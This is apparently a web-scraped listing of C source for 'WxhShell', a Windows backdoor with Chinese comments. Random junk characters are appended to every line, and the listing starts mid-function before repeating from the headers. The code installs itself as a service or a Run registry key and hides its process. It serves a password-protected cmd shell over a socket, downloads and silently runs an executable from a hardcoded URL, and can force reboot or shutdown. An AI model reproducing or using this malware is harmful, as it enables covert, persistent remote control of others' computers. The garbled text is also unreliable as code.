    closesocket(wsh); ^g~-$t<!  
    ExitThread(0); L^ +0K}eD  
    } gHox{*hb[  
    break; d(]LRIn~1  
    } 4J I;NN  
  // 获取shell !gT6S o  
  case 's': { !;R{-  
    CmdShell(wsh); ?B h}  
    closesocket(wsh); ~t#'X8.)  
    ExitThread(0); [r]USCq  
    break; 9Ft)VX  
  } ;M'R/JlUN  
  // 退出 *[vf47)r!  
  case 'x': { oh:t ex<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z<AQ;b  
    CloseIt(wsh); xRaYm  
    break; v`v+M4upC  
    } ?]P&3UU>0z  
  // 离开 "BzRL g!J  
  case 'q': { Zr$PSp}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _$fxoD9  
    closesocket(wsh); E6@+w.VVO  
    WSACleanup(); _IgG8)k;  
    exit(1); "%}PVO!  
    break; I7[+:?2  
        } ly^F?.e-  
  } yGN<.IP75  
  } "CZ`hx1|^  
`qfVgT=2  
  // 提示信息 pwu5Fxn)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g5T~%t5lo  
} u6%56 %^f  
  } 5Impv3qaZ  
c)$/Uu  
  return; C[x!Lf8'  
} qv,|7yw{  
OZISh?  
// shell模块句柄 bk>M4l61  
int CmdShell(SOCKET sock) w5&UG/z%l  
{ q.g!WLiI  
STARTUPINFO si; 6 #QS 5  
ZeroMemory(&si,sizeof(si)); 1F$a My?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =B?uNoe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UO!OO&l!  
PROCESS_INFORMATION ProcessInfo; !\"C<*5  
char cmdline[]="cmd"; !CsoTW9C:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \k g2pF[V  
  return 0; J 0s8vAs  
} O^e !<bBd  
Q2tGe~H  
// 自身启动模式 V;)'FJ)]  
int StartFromService(void) h~nl  
{ .Q?AzU,2D  
typedef struct +$v$P!),  
{ 4y P $l  
  DWORD ExitStatus; !Ug J^v  
  DWORD PebBaseAddress; b$B5sKQ  
  DWORD AffinityMask; }}Q|O]e  
  DWORD BasePriority; S&R~*  
  ULONG UniqueProcessId; 1nvs51?H  
  ULONG InheritedFromUniqueProcessId; 6*]Kow?  
}   PROCESS_BASIC_INFORMATION; $?'z%a{  
778L[wYe  
PROCNTQSIP NtQueryInformationProcess; UQTt;RS*zS  
bJe^x;J9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fd ]! 7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uQ&xoDCB  
4q~l ?*S  
  HANDLE             hProcess; nkG 6.  
  PROCESS_BASIC_INFORMATION pbi; Tl25t^Y  
0<o#;ZQ]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  [bv.`  
  if(NULL == hInst ) return 0; xeu] X|,  
KK7Y"~ 9&-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o+q 5:vJt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;f6G&>p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 38  B\ \  
Y$'fds4P  
  if (!NtQueryInformationProcess) return 0; sG^b_3o)A  
:v&GA s6H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _ b#9^2o  
  if(!hProcess) return 0; FiIN \  
(zTr/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u}u2{pO!  
3K54:  
  CloseHandle(hProcess); 9{>m04888  
R?I(f(ib   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q <78< #I  
if(hProcess==NULL) return 0; gp$+Qd  
.$?s :t  
HMODULE hMod; *D|6g| Hb  
char procName[255]; VT+GmS  
unsigned long cbNeeded; i{ %~&!  
f\|33)k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SIbQs8h]  
F.T~txQ~u  
  CloseHandle(hProcess); M/B_-8B_D  
Ebp8})P/~  
if(strstr(procName,"services")) return 1; // 以服务启动 I5 [r-r  
A$^}zP'u0<  
  return 0; // 注册表启动 G19FSLrtA  
} _c%~\LOk  
&jg,8  
// 主模块 *h]qh20t  
int StartWxhshell(LPSTR lpCmdLine) /e\} qq  
{ 3`="4  
  SOCKET wsl; g]d@X_ &D  
BOOL val=TRUE; I.\u2B/?  
  int port=0; \yM[?/<  
  struct sockaddr_in door; kQ4%J, 7e4  
qWr`cO~hc  
  if(wscfg.ws_autoins) Install(); dqG+hh^  
gS"@P:wYzs  
port=atoi(lpCmdLine); {;z3$/JB  
OlV>zam  
if(port<=0) port=wscfg.ws_port; N%>/ e'(  
a0AIq44  
  WSADATA data; 0w(<pNA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  ~LkReQI  
bt~-=\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5"@<7/2qI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {uw'7 d/  
  door.sin_family = AF_INET; bZ%[ON5OY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NB16O !r  
  door.sin_port = htons(port); 17nWrTxR$  
I80.|KIv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |F6C&GNYT  
closesocket(wsl); OPKm^}  
return 1; )zr/9aV  
} X'iki4  
S0"O U0`N  
  if(listen(wsl,2) == INVALID_SOCKET) { a1om8!C  
closesocket(wsl); R=8!]Oi6  
return 1; Y B)1dzU  
} %L~X\M:Qk  
  Wxhshell(wsl); m>UJ; F  
  WSACleanup(); !Ng^k>*h  
x)V.^-  
return 0; \Lh,dZ}d  
r;S%BFMJS  
} #JTi]U6`  
U:8^>_  
// 以NT服务方式启动 6G1Z"9<2*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @dcW0WQ\  
{ qf7.Sh  
DWORD   status = 0; C'mmo&Pd  
  DWORD   specificError = 0xfffffff; U6_1L,W  
r+ vtKb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; if_e$,dh~>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >,1'[) _  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )[zyvU. J3  
  serviceStatus.dwWin32ExitCode     = 0; )w/f 'fq  
  serviceStatus.dwServiceSpecificExitCode = 0; 62Jn8DwAT  
  serviceStatus.dwCheckPoint       = 0; HlV3rYh  
  serviceStatus.dwWaitHint       = 0; ,Hp9Gkm8I/  
VX;u54hS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '8%aq8  
  if (hServiceStatusHandle==0) return; ~ocd4,d=  
R?X9U.AcW  
status = GetLastError(); 0aGfz=V&  
  if (status!=NO_ERROR) vy-{BH  
{ d8Upr1_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M: `FZ}&L  
    serviceStatus.dwCheckPoint       = 0; 9>zN 27  
    serviceStatus.dwWaitHint       = 0; t7-sCC0  
    serviceStatus.dwWin32ExitCode     = status; z*x6V0'yt  
    serviceStatus.dwServiceSpecificExitCode = specificError; a>s v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V&GFGds  
    return; )P|Ql-rE4  
  } ]kc_wFT<  
BRH:5h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vtr:{   
  serviceStatus.dwCheckPoint       = 0; vqL{~tR  
  serviceStatus.dwWaitHint       = 0; rhL<JTS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2|Tt3/Rn  
} ,PIdPaV--  
R]ppA=1*_l  
// 处理NT服务事件,比如:启动、停止 _NZ) n)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s"a*S\a;b  
{ P,wFib^1  
switch(fdwControl) XY%8yII6  
{ 8 5s{;3  
case SERVICE_CONTROL_STOP: 0A}'.LI  
  serviceStatus.dwWin32ExitCode = 0; -'YX2!IU,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; crvWAsm  
  serviceStatus.dwCheckPoint   = 0; s  fti[  
  serviceStatus.dwWaitHint     = 0; c#G(7.0MU  
  { %\- +SeC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]enqkiS  
  } !!` zz  
  return; 2$3BluK  
case SERVICE_CONTROL_PAUSE: Mzb_o2^(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O;,k~  
  break; sIELkF?.  
case SERVICE_CONTROL_CONTINUE: {CGk5`g~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cHR}`U$  
  break; -Fl3m  
case SERVICE_CONTROL_INTERROGATE: 4+ 4? 0R  
  break; X>Xpx<RY!  
}; kfmIhHlYQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^5GS !u"  
} t_j.@|/FZ  
;$0za]x  
// 标准应用程序主函数 Sb{S^w\m0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )6AOP-M.9  
{ W<9G wMU  
T!;<Fy"p  
// 获取操作系统版本 6J=~*&  
OsIsNt=GetOsVer(); fA+M/}=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A4&e#  
z?7s'2w&{  
  // 从命令行安装 Rx'7tff%I  
  if(strpbrk(lpCmdLine,"iI")) Install(); O050Q5zy  
hSg: Rqnk  
  // 下载执行文件 4wNxn lP  
if(wscfg.ws_downexe) { h eh! cDK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7&sCEYEb  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8 3<kaeu,^  
} i[YYR,X|  
OB"QWdh  
if(!OsIsNt) { 2QBtwlQ?[  
// 如果时win9x,隐藏进程并且设置为注册表启动 +ckj]yA;  
HideProc(); \64(`6>  
StartWxhshell(lpCmdLine); Mz"kaO  
} DPe`C%Oc1  
else "= %-  
  if(StartFromService()) %Z}dY~:  
  // 以服务方式启动 r[\47cG  
  StartServiceCtrlDispatcher(DispatchTable); 6=H-H\iw  
else  m+vwp\0  
  // 普通方式启动 huR<+ =!  
  StartWxhshell(lpCmdLine); B 1p9pr  
tL IE^  
return 0; ' u0{h  
} HX <;=m  
7,O^c +  
oVsl,V  
$[]=6.s  
=========================================== NtT)Wl  
ivGxtx  
U'#{v7u  
N;D+]_;0|  
"#JoB X@yE  
wr#+q1 v  
" $MsM$]~  
[jLx}\]  
#include <stdio.h> nl?|X2?C  
#include <string.h> PH=wP ft  
#include <windows.h> zd;xbH//)b  
#include <winsock2.h> U O[p   
#include <winsvc.h> m<076O4|`  
#include <urlmon.h> [Zua7&(5  
D@W m-  
#pragma comment (lib, "Ws2_32.lib") KztF#[64W^  
#pragma comment (lib, "urlmon.lib") +B&FZ4'  
G-:DMjvN  
#define MAX_USER   100 // 最大客户端连接数 WK<pZ *x  
#define BUF_SOCK   200 // sock buffer 9GQTe1[t4  
#define KEY_BUFF   255 // 输入 buffer GvVuFS>y  
YE-kdzff  
#define REBOOT     0   // 重启 6!gGWn5>}  
#define SHUTDOWN   1   // 关机 >! c^  
|0 Zj/1<$  
#define DEF_PORT   5000 // 监听端口 +~[19'GH  
<4>6k7W  
#define REG_LEN     16   // 注册表键长度 bRIb'%=+GA  
#define SVC_LEN     80   // NT服务名长度 <LLSUk/  
}u|0  
// 从dll定义API 1-b,X]i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I]$kVa1iN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ep'C FNbtW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xt-;7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B$lbp03z  
u(lq9; ;Th  
// wxhshell配置信息   () SG  
struct WSCFG { koie  
  int ws_port;         // 监听端口 X'3F79`  
  char ws_passstr[REG_LEN]; // 口令 >%W"u` Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no I/@Xr  
  char ws_regname[REG_LEN]; // 注册表键名 f{b"=hQ  
  char ws_svcname[REG_LEN]; // 服务名 O=+C Kx@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *]H ./a:1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _R8-Hj E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R2;-WxnN]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~7Jc;y&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @cXY"hP`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QR,i b  
T*H4kM  
}; 66BsUA.h  
u{_T,k<!  
// default Wxhshell configuration Y- w5S|!  
struct WSCFG wscfg={DEF_PORT, 2Nj0 Hqjq  
    "xuhuanlingzhe", `bxgg'V  
    1, *.K}`89T  
    "Wxhshell", ~E`l4'g?  
    "Wxhshell", zU}0AVlIL:  
            "WxhShell Service", I015)vFc  
    "Wrsky Windows CmdShell Service", 9PGSr4V 1  
    "Please Input Your Password: ", _PRm4 :  
  1, $B(B  
  "http://www.wrsky.com/wxhshell.exe", MW&;{m?2(  
  "Wxhshell.exe" ~o8$/%Oeb/  
    }; 7aU*7!U  
]w')~yk  
// 消息定义模块 U}{r.MryFG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M`5^v0,C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Oi{jzP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $U6)km4  
char *msg_ws_ext="\n\rExit."; jy1*E3vQ  
char *msg_ws_end="\n\rQuit."; czT$mKj3  
char *msg_ws_boot="\n\rReboot..."; 8 {QvB"w  
char *msg_ws_poff="\n\rShutdown..."; =6%0pu]0  
char *msg_ws_down="\n\rSave to "; Eu0 _/{:  
PVvG  
char *msg_ws_err="\n\rErr!"; &-{4JSII  
char *msg_ws_ok="\n\rOK!"; <ZnAPh  
t<`BaU  
char ExeFile[MAX_PATH]; 5 &VLq  
int nUser = 0; aFbA=6  
HANDLE handles[MAX_USER]; GCIm_ n  
int OsIsNt; fa6L+wt4O  
N8!B2uPQ  
SERVICE_STATUS       serviceStatus; >=B8PK+<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k!! o!rBS  
3_D$6/i  
// 函数声明 <Siz5qQI4  
int Install(void); Sx pl%  
int Uninstall(void); ^h' wZ7-\  
int DownloadFile(char *sURL, SOCKET wsh); +tOV+6Uz  
int Boot(int flag); a{{([uZ  
void HideProc(void); N2~Nc"L  
int GetOsVer(void); XCk \#(VSE  
int Wxhshell(SOCKET wsl); xo]|m\#k5E  
void TalkWithClient(void *cs); "rX`h  
int CmdShell(SOCKET sock); k3e $0`Q  
int StartFromService(void); 8ayB<b>+]"  
int StartWxhshell(LPSTR lpCmdLine); vk$]$6l2  
` bg{\ .q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9BF #R<}h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~xA' -N/  
'\\J95*`  
// 数据结构和表定义 0Uybh.dC  
SERVICE_TABLE_ENTRY DispatchTable[] = ty "k  
{ g~`UC  
{wscfg.ws_svcname, NTServiceMain}, ^6obxwVG  
{NULL, NULL} 0t<TZa]V  
}; x2 tx{Z  
bhFzu[B  
// 自我安装 iHR?]]RF  
int Install(void) WSh+5](:  
{ qf'uXH  
  char svExeFile[MAX_PATH]; ]xFd_OHdb  
  HKEY key; @(ev``L5g  
  strcpy(svExeFile,ExeFile); l3.HL> o  
2"2b\b}my  
// 如果是win9x系统,修改注册表设为自启动 xKIm2% U9  
if(!OsIsNt) { 7gv kd+-*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (h2bxfV~+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UW40Y3W0  
  RegCloseKey(key); "&>$/b$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { whD%Oz*f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fD V:ueO  
  RegCloseKey(key); 7kj#3(e  
  return 0; sl`\g1<{`  
    } )<!y_;$A  
  } 5z=;q!3  
} obY5taOw  
else { 5B"j\TwQ  
l0]zZcpt  
// 如果是NT以上系统,安装为系统服务 _,~/KJp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z}kD:A)a  
if (schSCManager!=0) ``0knr <  
{ "S*lI^8Z!  
  SC_HANDLE schService = CreateService \-c70v63X  
  ( Azu$F5G!n  
  schSCManager, :Oy9`vv  
  wscfg.ws_svcname, v vOG]2z  
  wscfg.ws_svcdisp, & [4Gv61  
  SERVICE_ALL_ACCESS, _g 3hXsA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Un7jzAvQ  
  SERVICE_AUTO_START, MdCEp1Z  
  SERVICE_ERROR_NORMAL, 1?Wk qQ  
  svExeFile, ~%>ke  
  NULL, Q]66v$  
  NULL, 3>c<E1   
  NULL, +Z /Pj_.o  
  NULL, >^kRIoBkg  
  NULL : 3*(kb1)&  
  ); tP7l ;EX4  
  if (schService!=0) IJ[#$I+Z%  
  { ^!?W!k!:V  
  CloseServiceHandle(schService); F"~uu9u  
  CloseServiceHandle(schSCManager); ?!cUAa>iH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f)/Yru. ;  
  strcat(svExeFile,wscfg.ws_svcname); P**h\+M>{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F0])g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #r>  
  RegCloseKey(key); D&:,,Dp  
  return 0; <mi*AY  
    } 6-j><'  
  } z-ra]  
  CloseServiceHandle(schSCManager); SW# 5px`  
} 4h|sbB"t  
} w%KU@$  
wtIXZU x  
return 1; AEp|#H' >  
} p^<*v8,~7  
2E;UHR  
// 自我卸载 =c[9:&5Q  
int Uninstall(void) `ZC_F! E  
{ {f<2VeJ  
  HKEY key; Fe{lM' 8  
Me_.X_  
if(!OsIsNt) { OXT 5 y)   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -Uh3A\#(  
  RegDeleteValue(key,wscfg.ws_regname); ewvFUD'j  
  RegCloseKey(key); T2Ms/1FH/@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { STtjkZ6  
  RegDeleteValue(key,wscfg.ws_regname); sZxf.  
  RegCloseKey(key); PqKbG<}Y  
  return 0; V*Ta[)E  
  } U\s.fIr  
} F^fL  
} lhZXq!2p  
else { >;:235'(M  
7A<X!a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XOe)tz L  
if (schSCManager!=0) 4"at~K` Q  
{ Py_yIwQqg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `O/1aW1  
  if (schService!=0) 4,4S5u[|  
  { 0go{gUI  
  if(DeleteService(schService)!=0) { Y HSdaocp  
  CloseServiceHandle(schService); FhpS#, Y$  
  CloseServiceHandle(schSCManager); 1P;J%.{  
  return 0; KP,#x$Bg  
  } 1Tm,#o  
  CloseServiceHandle(schService); "}fJ 2G3  
  } :qy< G!o  
  CloseServiceHandle(schSCManager); mmRxs1 0$  
} rom`%qp^  
} +#ufW%ZG  
-Ri/I4Xj  
return 1; <A@}C+  
} e98f+,E/  
|zd+ \o  
// 从指定url下载文件 AWo\u!j  
int DownloadFile(char *sURL, SOCKET wsh) ~}Xd{afo  
{ !Pd@0n4  
  HRESULT hr; "{>BP$Jz  
char seps[]= "/"; n-P<y  
char *token; 1u>[0<U~E  
char *file; S8>1l?UH  
char myURL[MAX_PATH]; )09>#!*  
char myFILE[MAX_PATH]; N5_`  
wo>7^ZA  
strcpy(myURL,sURL); B6UTooj  
  token=strtok(myURL,seps); `X)y5*##wq  
  while(token!=NULL) Lp31Y . 4  
  { -j& A;G  
    file=token; .=G ?Zd  
  token=strtok(NULL,seps); "}*5'e.*  
  } u]0{#wu;g  
F)K&a  
GetCurrentDirectory(MAX_PATH,myFILE); ` ES-LLhVf  
strcat(myFILE, "\\"); ~xPU#m<  
strcat(myFILE, file); HV21=W  
  send(wsh,myFILE,strlen(myFILE),0); BLaF++Fop  
send(wsh,"...",3,0); 8=TM _  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W2>VgMR [  
  if(hr==S_OK) ZQ1,6<^9i[  
return 0; )?y${T   
else o{]2W `0r  
return 1; Y[sBVz'j5  
+-2W{lX  
} -<0xS.^  
88uoA6Y8h  
// 系统电源模块 10}< n_I  
int Boot(int flag) -8zdkm8k  
{ d%,@,>>)  
  HANDLE hToken; uE &/:+  
  TOKEN_PRIVILEGES tkp; Y' FB {  
80_}}op ?8  
  if(OsIsNt) { E5iNuJj=f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1L;3e@G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MxLg8,M  
    tkp.PrivilegeCount = 1; nQ+$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `_"loPu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "50 c<sZSB  
if(flag==REBOOT) { *(g0{V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eL" +_lW  
  return 0; @oKW$\  
} k^@dDLr"  
else { #IvHxSo&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3-Bz5sj9  
  return 0; 0?,<7}"<X  
} S\M+*:7  
  } >BWe"{;  
  else { #W9{3JGUY  
if(flag==REBOOT) { L_`D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .+) AeGh  
  return 0; 3D}Pa  
} MX 7 Y1  
else { =|LB,REN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) imc1rY!~'  
  return 0; ~e<^jhpJ  
} {[ pzqzL6  
} Bv xLbl}  
=JaxT90x  
return 1; FJD;LpW  
} :@4+}  
{F=`IE3)w  
// win9x进程隐藏模块 ]bP1gV(b-  
void HideProc(void) kD46Le++B  
{ 719lfI&s  
Ua.%?V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vd;N T$S$  
  if ( hKernel != NULL ) bn:74,GeyK  
  { U<|*V5   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mrQT:B\8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~K@p`CRbV  
    FreeLibrary(hKernel); H0\' ,X  
  } @$fvhEkrT@  
bx%Ky0Z  
return; oH(a*i  
} zDf96eK  
;$vVYC  
// 获取操作系统版本 S&F[\4w5]  
int GetOsVer(void) Df@b;-E  
{ m1D,#=C,_  
  OSVERSIONINFO winfo; z2iWr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .I Io   
  GetVersionEx(&winfo); e}NB ,o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5SEGV|%  
  return 1; =F% <W7  
  else 1* ?XI  
  return 0; ~^/BAc  
} KBDNK_7A  
2WS Wfh  
// 客户端句柄模块 Tmk'rOg5  
int Wxhshell(SOCKET wsl) 9^CuSj  
{ 5mX"0a_Q  
  SOCKET wsh; >~O/ZDu/@  
  struct sockaddr_in client; /%F5u}eW  
  DWORD myID; p4uN+D `.U  
DfjDw/{U3L  
  while(nUser<MAX_USER) N C3XJ 4  
{ A;TNR  
  int nSize=sizeof(client); qtjx<`EK>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m 0]1(\%  
  if(wsh==INVALID_SOCKET) return 1; FI@kE19  
-I:L6ft8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6?'; ip  
if(handles[nUser]==0) 8&:dzS  
  closesocket(wsh); <u  ImZC  
else _D{{C  
  nUser++; %_(^BZd  
  } _xM}*_<VP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Lh-+i  
Tdxc%'l  
  return 0; )`#SMLMy~  
} (g>&ov(d  
ll ^I ;o0  
// 关闭 socket a|ZJzuqo  
void CloseIt(SOCKET wsh) v2ab84 C*  
{ ,Vy_%f  
closesocket(wsh); lvG+9e3+  
nUser--; To;r#h  
ExitThread(0); yPf,GB"  
} ~X-v@a  
|ADg#oX  
// 客户端请求句柄 U9XOs)^  
void TalkWithClient(void *cs) 0pBG^I`_  
{ u yoV)  
;?{OX  
  SOCKET wsh=(SOCKET)cs; ?'si ^N  
  char pwd[SVC_LEN]; C_ W%]8u  
  char cmd[KEY_BUFF]; f9HoQDFsM  
char chr[1]; n{!=gR.v.  
int i,j; w x,gth*p  
M y!;N1  
  while (nUser < MAX_USER) { POQ4&ChA  
~PX#' Jr  
if(wscfg.ws_passstr) { v807)JwS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +hIMfhF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hdpA& OteR  
  //ZeroMemory(pwd,KEY_BUFF); \/!jGy*  
      i=0; op,mP0b  
  while(i<SVC_LEN) { #;\tgUQ  
in>?kbaG+  
  // 设置超时 Np?/r}  
  fd_set FdRead; rW2l+:@c  
  struct timeval TimeOut; -e.ygiK.`S  
  FD_ZERO(&FdRead);  -K4uqUp  
  FD_SET(wsh,&FdRead); >L^ 2Z*  
  TimeOut.tv_sec=8; -l <[CI  
  TimeOut.tv_usec=0; FXbalQ?^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QaLVIsnfN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |iVw7M:  
+L pMNnl6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9-.`~v  
  pwd=chr[0]; 5r^u7k  
  if(chr[0]==0xd || chr[0]==0xa) { 2SYV2  
  pwd=0; Cp]q>lM"  
  break; G C@U['  
  } K>Tv M&  
  i++; w_#5Na}>d  
    } ?V})2wwP  
6z5?9I4[  
  // 如果是非法用户,关闭 socket ~./M5P!\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WE&"W$0  
} m</nOf+C  
(Zu8WyT2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9U!#Y%*T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +?Y(6$o  
k&o1z'<C  
while(1) { B0!W=T\  
o vX9  
  ZeroMemory(cmd,KEY_BUFF); ETaLE[T%1  
^S^7 u  
      // 自动支持客户端 telnet标准   ?Q: KW  
  j=0; :2MHx}]il  
  while(j<KEY_BUFF) { 5dhT?/qvc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _UUp+Hz  
  cmd[j]=chr[0]; s ]Db<f  
  if(chr[0]==0xa || chr[0]==0xd) { C6c]M@6  
  cmd[j]=0; EYU3Pl%  
  break; **Q K}j[D  
  } 8yCQWDE}  
  j++; $c24lJ#/  
    } 3qq 6X?y*  
d<v)ovQJ]  
  // 下载文件 oBzjEv  
  if(strstr(cmd,"http://")) { Z"a]AsG/Q#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <9Pf] G=  
  if(DownloadFile(cmd,wsh)) 67dp)X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); si|b>R&Z  
  else 1 =9 Kwd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !e:HE/&>i  
  } ZTP&*+d  
  else { ch]Q%M  
A[X~:p.^G  
    switch(cmd[0]) { 2bt2h.a  
  ;Z}V}B  
  // 帮助 GA@Zfcg  
  case '?': { .\b# 0w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xZ(VvINL'  
    break; 6IC/~Woghx  
  } x0x/2re  
  // 安装 } T1~fa  
